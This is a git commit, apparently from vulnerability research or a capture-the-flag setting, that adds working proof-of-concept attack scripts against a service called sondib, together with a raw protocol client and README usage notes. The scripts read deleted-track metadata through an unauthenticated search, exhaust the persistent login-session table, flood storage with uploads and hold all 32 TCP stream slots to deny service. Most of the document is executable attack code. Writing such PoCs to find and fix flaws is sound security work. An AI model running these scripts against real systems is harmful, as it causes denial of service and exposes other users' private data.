Add sondib vulnerability PoCs

This commit is contained in:
yato committed 2026-11-29 17:27:07 +03:00
1 parent 9fc8e1ee68
commit f3e3d7140d
6 files changed
+499

No files matched your search

+18
View File
@@ -13,3 +13,21 @@ python3 deleted_track_reuse.py TARGET
Exit status `0` means the target is vulnerable, `1` means the deleted track
was rejected, and `2` means the PoC could not complete its setup or
communication.
## Remaining sondib PoCs
`search_metadata_leak.py TARGET` creates and deletes one temporary track, then
uses the raw protocol search path to check whether the deleted row is still
returned. It exits `0` when deleted metadata is exposed.
`session_exhaustion.py TARGET --count COUNT` performs exactly `COUNT` logins.
Successful logins are persistent records, so the count is mandatory and the
temporary account is intentionally not cleaned up.
`storage_flood.py TARGET --count COUNT` performs exactly `COUNT` valid small
uploads and reports whether all were accepted. Uploaded tracks are retained
until the normal cleaner removes them.
`stream_slots.py TARGET [--hold SECONDS]` holds the service's 32 TCP stream
slots for the requested time. The default hold is 65 seconds so the built-in
60-second idle timeout can be observed.
+116
View File
@@ -0,0 +1,116 @@
#!/usr/bin/env python3
"""Read private/deleted track metadata through the unauthenticated search path."""
from __future__ import annotations
import re
import secrets
import string
import subprocess
import sys
import tempfile
import time
from pathlib import Path
from sondib_protocol import ProtocolError, SondibClient
SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
return subprocess.run(
[str(SDB), args[0], target, *args[1:]],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
check=False,
)
def random_password() -> str:
alphabet = string.ascii_letters + string.digits
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
def search_rows(target: str, query: str) -> list[tuple[int, bytes, str]]:
client = SondibClient(target)
rows: list[tuple[int, bytes, str]] = []
try:
query_bytes = query.encode()
response = client.request(
b"\x03" + len(query_bytes).to_bytes(2, "little") + query_bytes
)
while True:
if not response:
raise ProtocolError("empty search response")
kind = response[0]
if kind == 0x10:
break
if kind == 0x12:
raise ProtocolError(f"search returned error {response[1:].hex()}")
if kind != 0x0F or len(response) < 0x14:
raise ProtocolError("malformed search row")
flags = response[1]
sid = response[2:18]
title_length = int.from_bytes(response[0x12:0x14], "little")
end = 0x14 + title_length
if end > len(response):
raise ProtocolError("truncated search title")
title = response[0x14:end].decode(errors="replace")
rows.append((flags, sid, title))
response = client.receive()
return rows
finally:
client.close()
def run(target: str) -> int:
if not SDB.is_file():
raise RuntimeError(f"sdb client not found: {SDB}")
username = "meta" + secrets.token_hex(5)
password = random_password()
marker = "deleted-meta-" + secrets.token_hex(5)
registered = run_sdb(target, "register", username, password)
if registered.returncode != 0:
raise RuntimeError("temporary user registration failed")
with tempfile.NamedTemporaryFile(prefix="sondib-meta-", suffix=".pcm") as pcm:
pcm.write(b"\0" * 1024)
pcm.flush()
uploaded = run_sdb(target, "upload", username, password, marker, "p", pcm.name)
if SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr) is None:
raise RuntimeError("temporary track upload failed")
sid_match = SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr)
assert sid_match is not None
sid, key = (part.decode() for part in sid_match.groups())
run_sdb(target, "delete", username, password, sid, key)
time.sleep(0.2)
rows = search_rows(target, marker)
leaked = [row for row in rows if row[2] == marker and row[0] & 0x02]
if leaked:
flags, leaked_sid, title = leaked[0]
log(f"target={target} deleted_metadata_leaked sid={leaked_sid.hex()} flags=0x{flags:02x}")
print(title)
return 0
log(f"target={target} deleted_metadata_not_observed")
return 1
def main() -> int:
if len(sys.argv) != 2:
log(f"usage: {sys.argv[0]} TARGET")
return 2
try:
return run(sys.argv[1])
except (OSError, ProtocolError, RuntimeError, subprocess.SubprocessError) as exc:
log(f"target={sys.argv[1]} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())
+89
View File
@@ -0,0 +1,89 @@
#!/usr/bin/env python3
"""Consume the persistent login-session table.
The attempt count is deliberately mandatory because successful logins are
persisted by sondib and are not removed by the normal connection timeout.
"""
from __future__ import annotations
import argparse
import secrets
import string
import sys
from sondib_protocol import ProtocolError, SondibClient
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def random_password() -> str:
alphabet = string.ascii_letters + string.digits
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
def register(target: str, username: str, password: str) -> None:
client = SondibClient(target)
try:
response = client.request(
bytes((7,))
+ len(username).to_bytes(2, "little")
+ username.encode()
+ len(password).to_bytes(2, "little")
+ password.encode()
)
if not response or response[0] != 0x11:
raise RuntimeError(f"registration failed: {response.hex()}")
finally:
client.close()
def login(target: str, username: str, password: str) -> bool:
client = SondibClient(target)
try:
response = client.request(
bytes((8,))
+ len(username).to_bytes(2, "little")
+ username.encode()
+ len(password).to_bytes(2, "little")
+ password.encode()
)
return bool(response) and response[0] == 0x11
finally:
client.close()
def run(target: str, count: int) -> int:
if not 1 <= count <= 8192:
raise ValueError("COUNT must be between 1 and 8192")
username = "sess" + secrets.token_hex(5)
password = random_password()
register(target, username, password)
successful = 0
for _ in range(count):
if not login(target, username, password):
break
successful += 1
log(f"target={target} successful_logins={successful} requested={count}")
if successful < count:
log("persistent session limit or another login failure was reached")
return 0
return 1
def main() -> int:
parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT")
parser.add_argument("target", metavar="TARGET")
parser.add_argument("--count", type=int, required=True, metavar="COUNT")
args = parser.parse_args()
try:
return run(args.target, args.count)
except (OSError, ProtocolError, RuntimeError, ValueError) as exc:
log(f"target={args.target} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())
+142
View File
@@ -0,0 +1,142 @@
#!/usr/bin/env python3
"""Small raw sondib protocol client used by the local PoCs."""
from __future__ import annotations
import socket
import struct
PORT = 7777
TIMEOUT = 10.0
MAX_FRAME = 0x100200
class ProtocolError(RuntimeError):
"""The target returned a malformed sondib frame."""
def encode_sdz(data: bytes) -> bytes:
"""Encode a literal-only SDZ block.
Literal-only blocks are sufficient for the short control frames used by
these PoCs. The format supports extended literal lengths as well.
"""
if len(data) > 0x40000:
raise ValueError("control frame is too large")
encoded = bytearray(b"SDZ1")
encoded.extend(len(data).to_bytes(3, "little"))
encoded.append(0)
if len(data) <= 14:
encoded.append(len(data) << 4)
else:
encoded.append(0xF0)
remaining = len(data) - 15
while remaining >= 0xFF:
encoded.append(0xFF)
remaining -= 0xFF
encoded.append(remaining)
encoded.extend(data)
return bytes(encoded)
def _read_exact(sock: socket.socket, size: int) -> bytes:
chunks: list[bytes] = []
while size:
chunk = sock.recv(size)
if not chunk:
raise ProtocolError("connection closed in a frame")
chunks.append(chunk)
size -= len(chunk)
return b"".join(chunks)
def decode_sdz(blob: bytes) -> bytes:
if len(blob) < 8 or blob[:4] != b"SDZ1":
raise ProtocolError("invalid SDZ header")
expected = int.from_bytes(blob[4:7], "little")
pos = 8
output = bytearray()
while pos < len(blob):
control = blob[pos]
pos += 1
literal_length = control >> 4
match_code = control & 0x0F
if literal_length == 0x0F:
literal_length = 15
while True:
if pos >= len(blob):
raise ProtocolError("truncated literal length")
extra = blob[pos]
pos += 1
literal_length += extra
if extra != 0xFF:
break
end = pos + literal_length
if end > len(blob):
raise ProtocolError("truncated literal data")
output.extend(blob[pos:end])
pos = end
if pos == len(blob):
break
if pos + 3 > len(blob):
raise ProtocolError("truncated match descriptor")
distance = int.from_bytes(blob[pos : pos + 3], "little")
pos += 3
match_length = match_code + 4
if match_code == 0x0F:
while True:
if pos >= len(blob):
raise ProtocolError("truncated match length")
extra = blob[pos]
pos += 1
match_length += extra
if extra != 0xFF:
break
if distance == 0 or distance > len(output):
raise ProtocolError("invalid match distance")
for _ in range(match_length):
output.append(output[-distance])
if len(output) != expected:
raise ProtocolError(
f"decoded length mismatch: expected {expected}, got {len(output)}"
)
return bytes(output)
class SondibClient:
def __init__(self, target: str, timeout: float = TIMEOUT) -> None:
self.sock = socket.create_connection((target, PORT), timeout=timeout)
self.sock.settimeout(timeout)
self.receive() # protocol hello
def close(self) -> None:
self.sock.close()
def send(self, payload: bytes) -> None:
encoded = encode_sdz(payload)
self.sock.sendall(struct.pack("<I", len(encoded)))
self.sock.sendall(encoded)
def receive(self) -> bytes:
size = struct.unpack("<I", _read_exact(self.sock, 4))[0]
if size > MAX_FRAME:
raise ProtocolError(f"frame exceeds {MAX_FRAME} bytes")
return decode_sdz(_read_exact(self.sock, size))
def request(self, payload: bytes) -> bytes:
self.send(payload)
return self.receive()
def credentials_frame(opcode: int, username: str, password: str) -> bytes:
name = username.encode()
secret = password.encode()
if not 0 < len(name) <= 15:
raise ValueError("username must be 1..15 bytes")
if not 0 < len(secret) <= 31:
raise ValueError("password must be 1..31 bytes")
return bytes((opcode,)) + struct.pack("<H", len(name)) + name + struct.pack(
"<H", len(secret)
) + secret
+80
View File
@@ -0,0 +1,80 @@
#!/usr/bin/env python3
"""Fill sondib storage with valid uploads when no quota is configured."""
from __future__ import annotations
import argparse
import secrets
import string
import subprocess
import sys
import tempfile
from pathlib import Path
PORT = 7777
TIMEOUT = 10
SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def random_password() -> str:
alphabet = string.ascii_letters + string.digits
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
return subprocess.run(
[str(SDB), args[0], target, *args[1:]],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=TIMEOUT,
check=False,
)
def run(target: str, count: int) -> int:
if not 1 <= count <= 65535:
raise ValueError("COUNT must be between 1 and 65535")
if not SDB.is_file():
raise RuntimeError(f"sdb client not found: {SDB}")
username = "flood" + secrets.token_hex(5)
password = random_password()
registered = run_sdb(target, "register", username, password)
if registered.returncode != 0:
raise RuntimeError("temporary user registration failed")
with tempfile.NamedTemporaryFile(prefix="sondib-flood-", suffix=".pcm") as pcm:
pcm.write(b"\0" * 1024)
pcm.flush()
uploaded = 0
for index in range(count):
title = f"quota-probe-{index:05d}-{secrets.token_hex(3)}"
result = run_sdb(target, "upload", username, password, title, "p", pcm.name)
if result.returncode != 0:
break
uploaded += 1
log(f"target={target} uploaded={uploaded} requested={count}")
if uploaded < count:
log("an upload limit or service failure was reached")
return 0
log("all requested uploads were accepted; no application quota observed")
return 1
def main() -> int:
parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT")
parser.add_argument("target", metavar="TARGET")
parser.add_argument("--count", type=int, required=True, metavar="COUNT")
args = parser.parse_args()
try:
return run(args.target, args.count)
except (OSError, RuntimeError, ValueError, subprocess.SubprocessError) as exc:
log(f"target={args.target} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python3
"""Occupy sondib's finite TCP stream table with idle connections."""
from __future__ import annotations
import argparse
import socket
import sys
import time
PORT = 7777
MAX_CONNECTIONS = 32
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def run(target: str, hold: int) -> int:
if not 1 <= hold <= 300:
raise ValueError("HOLD must be between 1 and 300 seconds")
sockets: list[socket.socket] = []
try:
for _ in range(MAX_CONNECTIONS):
sock = socket.create_connection((target, PORT), timeout=5)
sock.settimeout(2)
sock.recv(4) # hello length; leave the rest unread and hold the slot
sockets.append(sock)
log(f"target={target} held={len(sockets)} tcp_streams for={hold}s")
time.sleep(hold)
return 0
except (OSError, TimeoutError) as exc:
log(f"target={target} held={len(sockets)} error={exc}")
return 1
finally:
for sock in sockets:
sock.close()
def main() -> int:
parser = argparse.ArgumentParser(usage="%(prog)s TARGET [--hold SECONDS]")
parser.add_argument("target", metavar="TARGET")
parser.add_argument("--hold", type=int, default=65, metavar="SECONDS")
args = parser.parse_args()
try:
return run(args.target, args.hold)
except ValueError as exc:
log(f"target={args.target} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())